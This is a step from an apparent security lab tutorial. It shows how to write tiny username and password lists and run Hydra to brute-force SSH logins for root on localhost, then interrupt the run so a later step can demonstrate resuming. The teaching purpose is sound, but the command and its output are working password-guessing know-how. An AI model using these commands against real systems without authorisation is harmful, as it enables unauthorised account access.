Simulate Interrupted Attack
In this step, we will simulate an interrupted Hydra attack. This will help us understand how Hydra handles interruptions and how we can resume attacks later. We'll start by launching a basic Hydra attack and then manually interrupt it.
First, let's create a simple password list. Open a terminal in the ~/project
directory and use nano
to create a file named passwords.txt
:
nano passwords.txt
Add a few common passwords to the file, one password per line. For example:
password
123456
qwerty
Save the file and exit nano
(Ctrl+X, then Y, then Enter).
Now, let's create a simple username file. Use nano
to create a file named users.txt
:
nano users.txt
Add a single username to the file:
root
Save the file and exit nano
.
Next, we'll launch a Hydra attack against the SSH service on localhost
. We'll use a simple command that will likely succeed quickly, but we'll interrupt it manually to simulate a longer attack.
Execute the following command:
hydra -L users.txt -P passwords.txt localhost ssh
This command tells Hydra to:
-L users.txt
: Use the users.txt
file for usernames.
-P passwords.txt
: Use the passwords.txt
file for passwords.
localhost
: Target the localhost
.
ssh
: Attack the SSH service.
While the attack is running (you should see Hydra trying different username/password combinations), press Ctrl+C
to interrupt it.
You should see output similar to this (the exact output may vary):
Hydra v9.6 starting, press Enter to test creds or Ctrl+C to exit
[DATA] 1 task, 1 server, 1 userfile, 1 passfile, max 1 task(s) per 1 server, overall 1 task(s)
[DATA] attacking ssh://localhost:22/
[ATTEMPT] target: localhost login: root password: password
[ATTEMPT] target: localhost login: root password: 123456
[ATTEMPT] target: localhost login: root password: qwerty
^C
3 of 3 target(s) completed, 0 valid password(s) found
The ^C
indicates that you interrupted the process. This simulates a scenario where the attack was stopped prematurely. We will use this interrupted state in the next steps to explore Hydra's resume capabilities.